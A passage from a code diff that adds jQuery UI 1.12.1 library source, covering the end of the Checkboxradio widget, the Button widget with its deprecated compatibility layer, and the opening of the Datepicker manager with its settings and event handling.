+ this._getRadioGroup() + .each( function() { + var instance = $( this ).checkboxradio( "instance" ); + + if ( instance ) { + instance._removeClass( instance.label, + "ui-checkboxradio-checked", "ui-state-active" ); + } + } ); + } + }, + + _destroy: function() { + this._unbindFormResetHandler(); + + if ( this.icon ) { + this.icon.remove(); + this.iconSpace.remove(); + } + }, + + _setOption: function( key, value ) { + + // We don't allow the value to be set to nothing + if ( key === "label" && !value ) { + return; + } + + this._super( key, value ); + + if ( key === "disabled" ) { + this._toggleClass( this.label, null, "ui-state-disabled", value ); + this.element[ 0 ].disabled = value; + + // Don't refresh when setting disabled + return; + } + this.refresh(); + }, + + _updateIcon: function( checked ) { + var toAdd = "ui-icon ui-icon-background "; + + if ( this.options.icon ) { + if ( !this.icon ) { + this.icon = $( "<span>" ); + this.iconSpace = $( "<span> </span>" ); + this._addClass( this.iconSpace, "ui-checkboxradio-icon-space" ); + } + + if ( this.type === "checkbox" ) { + toAdd += checked ? "ui-icon-check ui-state-checked" : "ui-icon-blank"; + this._removeClass( this.icon, null, checked ? "ui-icon-blank" : "ui-icon-check" ); + } else { + toAdd += "ui-icon-blank"; + } + this._addClass( this.icon, "ui-checkboxradio-icon", toAdd ); + if ( !checked ) { + this._removeClass( this.icon, null, "ui-icon-check ui-state-checked" ); + } + this.icon.prependTo( this.label ).after( this.iconSpace ); + } else if ( this.icon !== undefined ) { + this.icon.remove(); + this.iconSpace.remove(); + delete this.icon; + } + }, + + _updateLabel: function() { + + // Remove the contents of the label ( minus the icon, icon space, and input ) + var contents = this.label.contents().not( this.element[ 0 ] ); + if ( this.icon ) { + contents = contents.not( this.icon[ 0 ] ); + } + if ( this.iconSpace ) { + contents = contents.not( this.iconSpace[ 0 ] ); + } + contents.remove(); + + this.label.append( this.options.label ); + }, + + refresh: function() { + var checked = this.element[ 0 ].checked, + isDisabled = this.element[ 0 ].disabled; + + this._updateIcon( checked ); + this._toggleClass( this.label, "ui-checkboxradio-checked", "ui-state-active", checked ); + if ( this.options.label !== null ) { + this._updateLabel(); + } + + if ( isDisabled !== this.options.disabled ) { + this._setOptions( { "disabled": isDisabled } ); + } + } + +} ] ); + +var widgetsCheckboxradio = $.ui.checkboxradio; + + +/*! + * jQuery UI Button 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Button +//>>group: Widgets +//>>description: Enhances a form with themeable buttons. +//>>docs: http://api.jqueryui.com/button/ +//>>demos: http://jqueryui.com/button/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/button.css +//>>css.theme: ../../themes/base/theme.css + + + +$.widget( "ui.button", { + version: "1.12.1", + defaultElement: "<button>", + options: { + classes: { + "ui-button": "ui-corner-all" + }, + disabled: null, + icon: null, + iconPosition: "beginning", + label: null, + showLabel: true + }, + + _getCreateOptions: function() { + var disabled, + + // This is to support cases like in jQuery Mobile where the base widget does have + // an implementation of _getCreateOptions + options = this._super() || {}; + + this.isInput = this.element.is( "input" ); + + disabled = this.element[ 0 ].disabled; + if ( disabled != null ) { + options.disabled = disabled; + } + + this.originalLabel = this.isInput ? this.element.val() : this.element.html(); + if ( this.originalLabel ) { + options.label = this.originalLabel; + } + + return options; + }, + + _create: function() { + if ( !this.option.showLabel & !this.options.icon ) { + this.options.showLabel = true; + } + + // We have to check the option again here even though we did in _getCreateOptions, + // because null may have been passed on init which would override what was set in + // _getCreateOptions + if ( this.options.disabled == null ) { + this.options.disabled = this.element[ 0 ].disabled || false; + } + + this.hasTitle = !!this.element.attr( "title" ); + + // Check to see if the label needs to be set or if its already correct + if ( this.options.label && this.options.label !== this.originalLabel ) { + if ( this.isInput ) { + this.element.val( this.options.label ); + } else { + this.element.html( this.options.label ); + } + } + this._addClass( "ui-button", "ui-widget" ); + this._setOption( "disabled", this.options.disabled ); + this._enhance(); + + if ( this.element.is( "a" ) ) { + this._on( { + "keyup": function( event ) { + if ( event.keyCode === $.ui.keyCode.SPACE ) { + event.preventDefault(); + + // Support: PhantomJS <= 1.9, IE 8 Only + // If a native click is available use it so we actually cause navigation + // otherwise just trigger a click event + if ( this.element[ 0 ].click ) { + this.element[ 0 ].click(); + } else { + this.element.trigger( "click" ); + } + } + } + } ); + } + }, + + _enhance: function() { + if ( !this.element.is( "button" ) ) { + this.element.attr( "role", "button" ); + } + + if ( this.options.icon ) { + this._updateIcon( "icon", this.options.icon ); + this._updateTooltip(); + } + }, + + _updateTooltip: function() { + this.title = this.element.attr( "title" ); + + if ( !this.options.showLabel && !this.title ) { + this.element.attr( "title", this.options.label ); + } + }, + + _updateIcon: function( option, value ) { + var icon = option !== "iconPosition", + position = icon ? this.options.iconPosition : value, + displayBlock = position === "top" || position === "bottom"; + + // Create icon + if ( !this.icon ) { + this.icon = $( "<span>" ); + + this._addClass( this.icon, "ui-button-icon", "ui-icon" ); + + if ( !this.options.showLabel ) { + this._addClass( "ui-button-icon-only" ); + } + } else if ( icon ) { + + // If we are updating the icon remove the old icon class + this._removeClass( this.icon, null, this.options.icon ); + } + + // If we are updating the icon add the new icon class + if ( icon ) { + this._addClass( this.icon, null, value ); + } + + this._attachIcon( position ); + + // If the icon is on top or bottom we need to add the ui-widget-icon-block class and remove + // the iconSpace if there is one. + if ( displayBlock ) { + this._addClass( this.icon, null, "ui-widget-icon-block" ); + if ( this.iconSpace ) { + this.iconSpace.remove(); + } + } else { + + // Position is beginning or end so remove the ui-widget-icon-block class and add the + // space if it does not exist + if ( !this.iconSpace ) { + this.iconSpace = $( "<span> </span>" ); + this._addClass( this.iconSpace, "ui-button-icon-space" ); + } + this._removeClass( this.icon, null, "ui-wiget-icon-block" ); + this._attachIconSpace( position ); + } + }, + + _destroy: function() { + this.element.removeAttr( "role" ); + + if ( this.icon ) { + this.icon.remove(); + } + if ( this.iconSpace ) { + this.iconSpace.remove(); + } + if ( !this.hasTitle ) { + this.element.removeAttr( "title" ); + } + }, + + _attachIconSpace: function( iconPosition ) { + this.icon[ /^(?:end|bottom)/.test( iconPosition ) ? "before" : "after" ]( this.iconSpace ); + }, + + _attachIcon: function( iconPosition ) { + this.element[ /^(?:end|bottom)/.test( iconPosition ) ? "append" : "prepend" ]( this.icon ); + }, + + _setOptions: function( options ) { + var newShowLabel = options.showLabel === undefined ? + this.options.showLabel : + options.showLabel, + newIcon = options.icon === undefined ? this.options.icon : options.icon; + + if ( !newShowLabel && !newIcon ) { + options.showLabel = true; + } + this._super( options ); + }, + + _setOption: function( key, value ) { + if ( key === "icon" ) { + if ( value ) { + this._updateIcon( key, value ); + } else if ( this.icon ) { + this.icon.remove(); + if ( this.iconSpace ) { + this.iconSpace.remove(); + } + } + } + + if ( key === "iconPosition" ) { + this._updateIcon( key, value ); + } + + // Make sure we can't end up with a button that has neither text nor icon + if ( key === "showLabel" ) { + this._toggleClass( "ui-button-icon-only", null, !value ); + this._updateTooltip(); + } + + if ( key === "label" ) { + if ( this.isInput ) { + this.element.val( value ); + } else { + + // If there is an icon, append it, else nothing then append the value + // this avoids removal of the icon when setting label text + this.element.html( value ); + if ( this.icon ) { + this._attachIcon( this.options.iconPosition ); + this._attachIconSpace( this.options.iconPosition ); + } + } + } + + this._super( key, value ); + + if ( key === "disabled" ) { + this._toggleClass( null, "ui-state-disabled", value ); + this.element[ 0 ].disabled = value; + if ( value ) { + this.element.blur(); + } + } + }, + + refresh: function() { + + // Make sure to only check disabled if its an element that supports this otherwise + // check for the disabled class to determine state + var isDisabled = this.element.is( "input, button" ) ? + this.element[ 0 ].disabled : this.element.hasClass( "ui-button-disabled" ); + + if ( isDisabled !== this.options.disabled ) { + this._setOptions( { disabled: isDisabled } ); + } + + this._updateTooltip(); + } +} ); + +// DEPRECATED +if ( $.uiBackCompat !== false ) { + + // Text and Icons options + $.widget( "ui.button", $.ui.button, { + options: { + text: true, + icons: { + primary: null, + secondary: null + } + }, + + _create: function() { + if ( this.options.showLabel && !this.options.text ) { + this.options.showLabel = this.options.text; + } + if ( !this.options.showLabel && this.options.text ) { + this.options.text = this.options.showLabel; + } + if ( !this.options.icon && ( this.options.icons.primary || + this.options.icons.secondary ) ) { + if ( this.options.icons.primary ) { + this.options.icon = this.options.icons.primary; + } else { + this.options.icon = this.options.icons.secondary; + this.options.iconPosition = "end"; + } + } else if ( this.options.icon ) { + this.options.icons.primary = this.options.icon; + } + this._super(); + }, + + _setOption: function( key, value ) { + if ( key === "text" ) { + this._super( "showLabel", value ); + return; + } + if ( key === "showLabel" ) { + this.options.text = value; + } + if ( key === "icon" ) { + this.options.icons.primary = value; + } + if ( key === "icons" ) { + if ( value.primary ) { + this._super( "icon", value.primary ); + this._super( "iconPosition", "beginning" ); + } else if ( value.secondary ) { + this._super( "icon", value.secondary ); + this._super( "iconPosition", "end" ); + } + } + this._superApply( arguments ); + } + } ); + + $.fn.button = ( function( orig ) { + return function() { + if ( !this.length || ( this.length && this[ 0 ].tagName !== "INPUT" ) || + ( this.length && this[ 0 ].tagName === "INPUT" && ( + this.attr( "type" ) !== "checkbox" && this.attr( "type" ) !== "radio" + ) ) ) { + return orig.apply( this, arguments ); + } + if ( !$.ui.checkboxradio ) { + $.error( "Checkboxradio widget missing" ); + } + if ( arguments.length === 0 ) { + return this.checkboxradio( { + "icon": false + } ); + } + return this.checkboxradio.apply( this, arguments ); + }; + } )( $.fn.button ); + + $.fn.buttonset = function() { + if ( !$.ui.controlgroup ) { + $.error( "Controlgroup widget missing" ); + } + if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" && arguments[ 2 ] ) { + return this.controlgroup.apply( this, + [ arguments[ 0 ], "items.button", arguments[ 2 ] ] ); + } + if ( arguments[ 0 ] === "option" && arguments[ 1 ] === "items" ) { + return this.controlgroup.apply( this, [ arguments[ 0 ], "items.button" ] ); + } + if ( typeof arguments[ 0 ] === "object" && arguments[ 0 ].items ) { + arguments[ 0 ].items = { + button: arguments[ 0 ].items + }; + } + return this.controlgroup.apply( this, arguments ); + }; +} + +var widgetsButton = $.ui.button; + + +// jscs:disable maximumLineLength +/* jscs:disable requireCamelCaseOrUpperCaseIdentifiers */ +/*! + * jQuery UI Datepicker 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Datepicker +//>>group: Widgets +//>>description: Displays a calendar from an input or inline for selecting dates. +//>>docs: http://api.jqueryui.com/datepicker/ +//>>demos: http://jqueryui.com/datepicker/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/datepicker.css +//>>css.theme: ../../themes/base/theme.css + + + +$.extend( $.ui, { datepicker: { version: "1.12.1" } } ); + +var datepicker_instActive; + +function datepicker_getZindex( elem ) { + var position, value; + while ( elem.length && elem[ 0 ] !== document ) { + + // Ignore z-index if position is set to a value where z-index is ignored by the browser + // This makes behavior of this function consistent across browsers + // WebKit always returns auto if the element is positioned + position = elem.css( "position" ); + if ( position === "absolute" || position === "relative" || position === "fixed" ) { + + // IE returns 0 when zIndex is not specified + // other browsers return a string + // we ignore the case of nested elements with an explicit value of 0 + // <div style="z-index: -10;"><div style="z-index: 0;"></div></div> + value = parseInt( elem.css( "zIndex" ), 10 ); + if ( !isNaN( value ) && value !== 0 ) { + return value; + } + } + elem = elem.parent(); + } + + return 0; +} +/* Date picker manager. + Use the singleton instance of this class, $.datepicker, to interact with the date picker. + Settings for (groups of) date pickers are maintained in an instance object, + allowing multiple different settings on the same page. */ + +function Datepicker() { + this._curInst = null; // The current instance in use + this._keyEvent = false; // If the last event was a key event + this._disabledInputs = []; // List of date picker inputs that have been disabled + this._datepickerShowing = false; // True if the popup picker is showing , false if not + this._inDialog = false; // True if showing within a "dialog", false if not + this._mainDivId = "ui-datepicker-div"; // The ID of the main datepicker division + this._inlineClass = "ui-datepicker-inline"; // The name of the inline marker class + this._appendClass = "ui-datepicker-append"; // The name of the append marker class + this._triggerClass = "ui-datepicker-trigger"; // The name of the trigger marker class + this._dialogClass = "ui-datepicker-dialog"; // The name of the dialog marker class + this._disableClass = "ui-datepicker-disabled"; // The name of the disabled covering marker class + this._unselectableClass = "ui-datepicker-unselectable"; // The name of the unselectable cell marker class + this._currentClass = "ui-datepicker-current-day"; // The name of the current day marker class + this._dayOverClass = "ui-datepicker-days-cell-over"; // The name of the day hover marker class + this.regional = []; // Available regional settings, indexed by language code + this.regional[ "" ] = { // Default regional settings + closeText: "Done", // Display text for close link + prevText: "Prev", // Display text for previous month link + nextText: "Next", // Display text for next month link + currentText: "Today", // Display text for current month link + monthNames: [ "January","February","March","April","May","June", + "July","August","September","October","November","December" ], // Names of months for drop-down and formatting + monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ], // For formatting + dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ], // For formatting + dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ], // For formatting + dayNamesMin: [ "Su","Mo","Tu","We","Th","Fr","Sa" ], // Column headings for days starting at Sunday + weekHeader: "Wk", // Column header for week of the year + dateFormat: "mm/dd/yy", // See format options on parseDate + firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ... + isRTL: false, // True if right-to-left language, false if left-to-right + showMonthAfterYear: false, // True if the year select precedes month, false for month then year + yearSuffix: "" // Additional text to append to the year in the month headers + }; + this._defaults = { // Global defaults for all the date picker instances + showOn: "focus", // "focus" for popup on focus, + // "button" for trigger button, or "both" for either + showAnim: "fadeIn", // Name of jQuery animation for popup + showOptions: {}, // Options for enhanced animations + defaultDate: null, // Used when field is blank: actual date, + // +/-number for offset from today, null for today + appendText: "", // Display text following the input box, e.g. showing the format + buttonText: "...", // Text for trigger button + buttonImage: "", // URL for trigger button image + buttonImageOnly: false, // True if the image appears alone, false if it appears on a button + hideIfNoPrevNext: false, // True to hide next/previous month links + // if not applicable, false to just disable them + navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links + gotoCurrent: false, // True if today link goes back to current selection instead + changeMonth: false, // True if month can be selected directly, false if only prev/next + changeYear: false, // True if year can be selected directly, false if only prev/next + yearRange: "c-10:c+10", // Range of years to display in drop-down, + // either relative to today's year (-nn:+nn), relative to currently displayed year + // (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n) + showOtherMonths: false, // True to show dates in other months, false to leave blank + selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable + showWeek: false, // True to show week of the year, false to not show it + calculateWeek: this.iso8601Week, // How to calculate the week of the year, + // takes a Date and returns the number of the week for it + shortYearCutoff: "+10", // Short year values < this are in the current century, + // > this are in the previous century, + // string value starting with "+" for current year + value + minDate: null, // The earliest selectable date, or null for no limit + maxDate: null, // The latest selectable date, or null for no limit + duration: "fast", // Duration of display/closure + beforeShowDay: null, // Function that takes a date and returns an array with + // [0] = true if selectable, false if not, [1] = custom CSS class name(s) or "", + // [2] = cell title (optional), e.g. $.datepicker.noWeekends + beforeShow: null, // Function that takes an input field and + // returns a set of custom settings for the date picker + onSelect: null, // Define a callback function when a date is selected + onChangeMonthYear: null, // Define a callback function when the month or year is changed + onClose: null, // Define a callback function when the datepicker is closed + numberOfMonths: 1, // Number of months to show at a time + showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0) + stepMonths: 1, // Number of months to step back/forward + stepBigMonths: 12, // Number of months to step back/forward for the big links + altField: "", // Selector for an alternate field to store selected dates into + altFormat: "", // The date format to use for the alternate field + constrainInput: true, // The input is constrained by the current date format + showButtonPanel: false, // True to show button panel, false to not show it + autoSize: false, // True to size the input for the date format, false to leave as is + disabled: false // The initial disabled state + }; + $.extend( this._defaults, this.regional[ "" ] ); + this.regional.en = $.extend( true, {}, this.regional[ "" ] ); + this.regional[ "en-US" ] = $.extend( true, {}, this.regional.en ); + this.dpDiv = datepicker_bindHover( $( "<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ); +} + +$.extend( Datepicker.prototype, { + /* Class name added to elements to indicate already configured with a date picker. */ + markerClassName: "hasDatepicker", + + //Keep track of the maximum number of rows displayed (see #7043) + maxRows: 4, + + // TODO rename to "widget" when switching to widget factory + _widgetDatepicker: function() { + return this.dpDiv; + }, + + /* Override the default settings for all instances of the date picker. + * @param settings object - the new settings to use as defaults (anonymous object) + * @return the manager object + */ + setDefaults: function( settings ) { + datepicker_extendRemove( this._defaults, settings || {} ); + return this; + }, + + /* Attach the date picker to a jQuery selection. + * @param target element - the target input field or division or span + * @param settings object - the new settings to use for this date picker instance (anonymous) + */ + _attachDatepicker: function( target, settings ) { + var nodeName, inline, inst; + nodeName = target.nodeName.toLowerCase(); + inline = ( nodeName === "div" || nodeName === "span" ); + if ( !target.id ) { + this.uuid += 1; + target.id = "dp" + this.uuid; + } + inst = this._newInst( $( target ), inline ); + inst.settings = $.extend( {}, settings || {} ); + if ( nodeName === "input" ) { + this._connectDatepicker( target, inst ); + } else if ( inline ) { + this._inlineDatepicker( target, inst ); + } + }, + + /* Create a new instance object. */ + _newInst: function( target, inline ) { + var id = target[ 0 ].id.replace( /([^A-Za-z0-9_\-])/g, "\\\\$1" ); // escape jQuery meta chars + return { id: id, input: target, // associated target + selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection + drawMonth: 0, drawYear: 0, // month being drawn + inline: inline, // is datepicker inline or not + dpDiv: ( !inline ? this.dpDiv : // presentation div + datepicker_bindHover( $( "<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ) ) }; + }, + + /* Attach the date picker to an input field. */ + _connectDatepicker: function( target, inst ) { + var input = $( target ); + inst.append = $( [] ); + inst.trigger = $( [] ); + if ( input.hasClass( this.markerClassName ) ) { + return; + } + this._attachments( input, inst ); + input.addClass( this.markerClassName ).on( "keydown", this._doKeyDown ). + on( "keypress", this._doKeyPress ).on( "keyup", this._doKeyUp ); + this._autoSize( inst ); + $.data( target, "datepicker", inst ); + + //If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665) + if ( inst.settings.disabled ) { + this._disableDatepicker( target ); + } + }, + + /* Make attachments based on settings. */ + _attachments: function( input, inst ) { + var showOn, buttonText, buttonImage, + appendText = this._get( inst, "appendText" ), + isRTL = this._get( inst, "isRTL" ); + + if ( inst.append ) { + inst.append.remove(); + } + if ( appendText ) { + inst.append = $( "<span class='" + this._appendClass + "'>" + appendText + "</span>" ); + input[ isRTL ? "before" : "after" ]( inst.append ); + } + + input.off( "focus", this._showDatepicker ); + + if ( inst.trigger ) { + inst.trigger.remove(); + } + + showOn = this._get( inst, "showOn" ); + if ( showOn === "focus" || showOn === "both" ) { // pop-up date picker when in the marked field + input.on( "focus", this._showDatepicker ); + } + if ( showOn === "button" || showOn === "both" ) { // pop-up date picker when button clicked + buttonText = this._get( inst, "buttonText" ); + buttonImage = this._get( inst, "buttonImage" ); + inst.trigger = $( this._get( inst, "buttonImageOnly" ) ? + $( "<img/>" ).addClass( this._triggerClass ). + attr( { src: buttonImage, alt: buttonText, title: buttonText } ) : + $( "<button type='button'></button>" ).addClass( this._triggerClass ). + html( !buttonImage ? buttonText : $( "<img/>" ).attr( + { src:buttonImage, alt:buttonText, title:buttonText } ) ) ); + input[ isRTL ? "before" : "after" ]( inst.trigger ); + inst.trigger.on( "click", function() { + if ( $.datepicker._datepickerShowing && $.datepicker._lastInput === input[ 0 ] ) { + $.datepicker._hideDatepicker(); + } else if ( $.datepicker._datepickerShowing && $.datepicker._lastInput !== input[ 0 ] ) { + $.datepicker._hideDatepicker(); + $.datepicker._showDatepicker( input[ 0 ] ); + } else { + $.datepicker._showDatepicker( input[ 0 ] ); + } + return false; + } ); + } + }, + + /* Apply the maximum length for the date format. */ + _autoSize: function( inst ) { + if ( this._get( inst, "autoSize" ) && !inst.inline ) { + var findMax, max, maxI, i, + date = new Date( 2009, 12 - 1, 20 ), // Ensure double digits + dateFormat = this._get( inst, "dateFormat" ); + + if ( dateFormat.match( /[DM]/ ) ) { + findMax = function( names ) { + max = 0; + maxI = 0; + for ( i = 0; i < names.length; i++ ) { + if ( names[ i ].length > max ) { + max = names[ i ].length; + maxI = i; + } + } + return maxI; + }; + date.setMonth( findMax( this._get( inst, ( dateFormat.match( /MM/ ) ? + "monthNames" : "monthNamesShort" ) ) ) ); + date.setDate( findMax( this._get( inst, ( dateFormat.match( /DD/ ) ? + "dayNames" : "dayNamesShort" ) ) ) + 20 - date.getDay() ); + } + inst.input.attr( "size", this._formatDate( inst, date ).length ); + } + }, + + /* Attach an inline date picker to a div. */ + _inlineDatepicker: function( target, inst ) { + var divSpan = $( target ); + if ( divSpan.hasClass( this.markerClassName ) ) { + return; + } + divSpan.addClass( this.markerClassName ).append( inst.dpDiv ); + $.data( target, "datepicker", inst ); + this._setDate( inst, this._getDefaultDate( inst ), true ); + this._updateDatepicker( inst ); + this._updateAlternate( inst ); + + //If disabled option is true, disable the datepicker before showing it (see ticket #5665) + if ( inst.settings.disabled ) { + this._disableDatepicker( target ); + } + + // Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements + // http://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height + inst.dpDiv.css( "display", "block" ); + }, + + /* Pop-up the date picker in a "dialog" box. + * @param input element - ignored + * @param date string or Date - the initial date to display + * @param onSelect function - the function to call when a date is selected + * @param settings object - update the dialog date picker instance's settings (anonymous object) + * @param pos int[2] - coordinates for the dialog's position within the screen or + * event - with x/y coordinates or + * leave empty for default (screen centre) + * @return the manager object + */ + _dialogDatepicker: function( input, date, onSelect, settings, pos ) { + var id, browserWidth, browserHeight, scrollX, scrollY, + inst = this._dialogInst; // internal instance + + if ( !inst ) { + this.uuid += 1; + id = "dp" + this.uuid; + this._dialogInput = $( "<input type='text' id='" + id + + "' style='position: absolute; top: -100px; width: 0px;'/>" ); + this._dialogInput.on( "keydown", this._doKeyDown ); + $( "body" ).append( this._dialogInput ); + inst = this._dialogInst = this._newInst( this._dialogInput, false ); + inst.settings = {}; + $.data( this._dialogInput[ 0 ], "datepicker", inst ); + } + datepicker_extendRemove( inst.settings, settings || {} ); + date = ( date && date.constructor === Date ? this._formatDate( inst, date ) : date ); + this._dialogInput.val( date ); + + this._pos = ( pos ? ( pos.length ? pos : [ pos.pageX, pos.pageY ] ) : null ); + if ( !this._pos ) { + browserWidth = document.documentElement.clientWidth; + browserHeight = document.documentElement.clientHeight; + scrollX = document.documentElement.scrollLeft || document.body.scrollLeft; + scrollY = document.documentElement.scrollTop || document.body.scrollTop; + this._pos = // should use actual width/height below + [ ( browserWidth / 2 ) - 100 + scrollX, ( browserHeight / 2 ) - 150 + scrollY ]; + } + + // Move input on screen for focus, but hidden behind dialog + this._dialogInput.css( "left", ( this._pos[ 0 ] + 20 ) + "px" ).css( "top", this._pos[ 1 ] + "px" ); + inst.settings.onSelect = onSelect; + this._inDialog = true; + this.dpDiv.addClass( this._dialogClass ); + this._showDatepicker( this._dialogInput[ 0 ] ); + if ( $.blockUI ) { + $.blockUI( this.dpDiv ); + } + $.data( this._dialogInput[ 0 ], "datepicker", inst ); + return this; + }, + + /* Detach a datepicker from its control. + * @param target element - the target input field or division or span + */ + _destroyDatepicker: function( target ) { + var nodeName, + $target = $( target ), + inst = $.data( target, "datepicker" ); + + if ( !$target.hasClass( this.markerClassName ) ) { + return; + } + + nodeName = target.nodeName.toLowerCase(); + $.removeData( target, "datepicker" ); + if ( nodeName === "input" ) { + inst.append.remove(); + inst.trigger.remove(); + $target.removeClass( this.markerClassName ). + off( "focus", this._showDatepicker ). + off( "keydown", this._doKeyDown ). + off( "keypress", this._doKeyPress ). + off( "keyup", this._doKeyUp ); + } else if ( nodeName === "div" || nodeName === "span" ) { + $target.removeClass( this.markerClassName ).empty(); + } + + if ( datepicker_instActive === inst ) { + datepicker_instActive = null; + } + }, + + /* Enable the date picker to a jQuery selection. + * @param target element - the target input field or division or span + */ + _enableDatepicker: function( target ) { + var nodeName, inline, + $target = $( target ), + inst = $.data( target, "datepicker" ); + + if ( !$target.hasClass( this.markerClassName ) ) { + return; + } + + nodeName = target.nodeName.toLowerCase(); + if ( nodeName === "input" ) { + target.disabled = false; + inst.trigger.filter( "button" ). + each( function() { this.disabled = false; } ).end(). + filter( "img" ).css( { opacity: "1.0", cursor: "" } ); + } else if ( nodeName === "div" || nodeName === "span" ) { + inline = $target.children( "." + this._inlineClass ); + inline.children().removeClass( "ui-state-disabled" ); + inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ). + prop( "disabled", false ); + } + this._disabledInputs = $.map( this._disabledInputs, + function( value ) { return ( value === target ? null : value ); } ); // delete entry + }, + + /* Disable the date picker to a jQuery selection. + * @param target element - the target input field or division or span + */ + _disableDatepicker: function( target ) { + var nodeName, inline, + $target = $( target ), + inst = $.data( target, "datepicker" ); + + if ( !$target.hasClass( this.markerClassName ) ) { + return; + } + + nodeName = target.nodeName.toLowerCase(); + if ( nodeName === "input" ) { + target.disabled = true; + inst.trigger.filter( "button" ). + each( function() { this.disabled = true; } ).end(). + filter( "img" ).css( { opacity: "0.5", cursor: "default" } ); + } else if ( nodeName === "div" || nodeName === "span" ) { + inline = $target.children( "." + this._inlineClass ); + inline.children().addClass( "ui-state-disabled" ); + inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ). + prop( "disabled", true ); + } + this._disabledInputs = $.map( this._disabledInputs, + function( value ) { return ( value === target ? null : value ); } ); // delete entry + this._disabledInputs[ this._disabledInputs.length ] = target; + }, + + /* Is the first field in a jQuery collection disabled as a datepicker? + * @param target element - the target input field or division or span + * @return boolean - true if disabled, false if enabled + */ + _isDisabledDatepicker: function( target ) { + if ( !target ) { + return false; + } + for ( var i = 0; i < this._disabledInputs.length; i++ ) { + if ( this._disabledInputs[ i ] === target ) { + return true; + } + } + return false; + }, + + /* Retrieve the instance data for the target control. + * @param target element - the target input field or division or span + * @return object - the associated instance data + * @throws error if a jQuery problem getting data + */ + _getInst: function( target ) { + try { + return $.data( target, "datepicker" ); + } + catch ( err ) { + throw "Missing instance data for this datepicker"; + } + }, + + /* Update or retrieve the settings for a date picker attached to an input field or division. + * @param target element - the target input field or division or span + * @param name object - the new settings to update or + * string - the name of the setting to change or retrieve, + * when retrieving also "all" for all instance settings or + * "defaults" for all global defaults + * @param value any - the new value for the setting + * (omit if above is an object or to retrieve a value) + */ + _optionDatepicker: function( target, name, value ) { + var settings, date, minDate, maxDate, + inst = this._getInst( target ); + + if ( arguments.length === 2 && typeof name === "string" ) { + return ( name === "defaults" ? $.extend( {}, $.datepicker._defaults ) : + ( inst ? ( name === "all" ? $.extend( {}, inst.settings ) : + this._get( inst, name ) ) : null ) ); + } + + settings = name || {}; + if ( typeof name === "string" ) { + settings = {}; + settings[ name ] = value; + } + + if ( inst ) { + if ( this._curInst === inst ) { + this._hideDatepicker(); + } + + date = this._getDateDatepicker( target, true ); + minDate = this._getMinMaxDate( inst, "min" ); + maxDate = this._getMinMaxDate( inst, "max" ); + datepicker_extendRemove( inst.settings, settings ); + + // reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided + if ( minDate !== null && settings.dateFormat !== undefined && settings.minDate === undefined ) { + inst.settings.minDate = this._formatDate( inst, minDate ); + } + if ( maxDate !== null && settings.dateFormat !== undefined && settings.maxDate === undefined ) { + inst.settings.maxDate = this._formatDate( inst, maxDate ); + } + if ( "disabled" in settings ) { + if ( settings.disabled ) { + this._disableDatepicker( target ); + } else { + this._enableDatepicker( target ); + } + } + this._attachments( $( target ), inst ); + this._autoSize( inst ); + this._setDate( inst, date ); + this._updateAlternate( inst ); + this._updateDatepicker( inst ); + } + }, + + // Change method deprecated + _changeDatepicker: function( target, name, value ) { + this._optionDatepicker( target, name, value ); + }, + + /* Redraw the date picker attached to an input field or division. + * @param target element - the target input field or division or span + */ + _refreshDatepicker: function( target ) { + var inst = this._getInst( target ); + if ( inst ) { + this._updateDatepicker( inst ); + } + }, + + /* Set the dates for a jQuery selection. + * @param target element - the target input field or division or span + * @param date Date - the new date + */ + _setDateDatepicker: function( target, date ) { + var inst = this._getInst( target ); + if ( inst ) { + this._setDate( inst, date ); + this._updateDatepicker( inst ); + this._updateAlternate( inst ); + } + }, + + /* Get the date(s) for the first entry in a jQuery selection. + * @param target element - the target input field or division or span + * @param noDefault boolean - true if no default date is to be used + * @return Date - the current date + */ + _getDateDatepicker: function( target, noDefault ) { + var inst = this._getInst( target ); + if ( inst && !inst.inline ) { + this._setDateFromField( inst, noDefault ); + } + return ( inst ? this._getDate( inst ) : null ); + }, + + /* Handle keystrokes. */ + _doKeyDown: function( event ) { + var onSelect, dateStr, sel, + inst = $.datepicker._getInst( event.target ), + handled = true, + isRTL = inst.dpDiv.is( ".ui-datepicker-rtl" ); + + inst._keyEvent = true; + if ( $.datepicker._datepickerShowing ) { + switch ( event.keyCode ) { + case 9: $.datepicker._hideDatepicker(); + handled = false; + break; // hide on tab out + case 13: sel = $( "td." + $.datepicker._dayOverClass + ":not(." + + $.datepicker._currentClass + ")", inst.dpDiv ); + if ( sel[ 0 ] ) { + $.datepicker._selectDay( event.target, inst.selectedMonth, inst.selectedYear, sel[ 0 ] ); + } + + onSelect = $.datepicker._get( inst, "onSelect" ); + if ( onSelect ) { + dateStr = $.datepicker._formatDate( inst ); + + // Trigger custom callback + onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] ); + } else { + $.datepicker._hideDatepicker(); + } + + return false; // don't submit the form + case 27: $.datepicker._hideDatepicker(); + break; // hide on escape + case 33: $.datepicker._adjustDate( 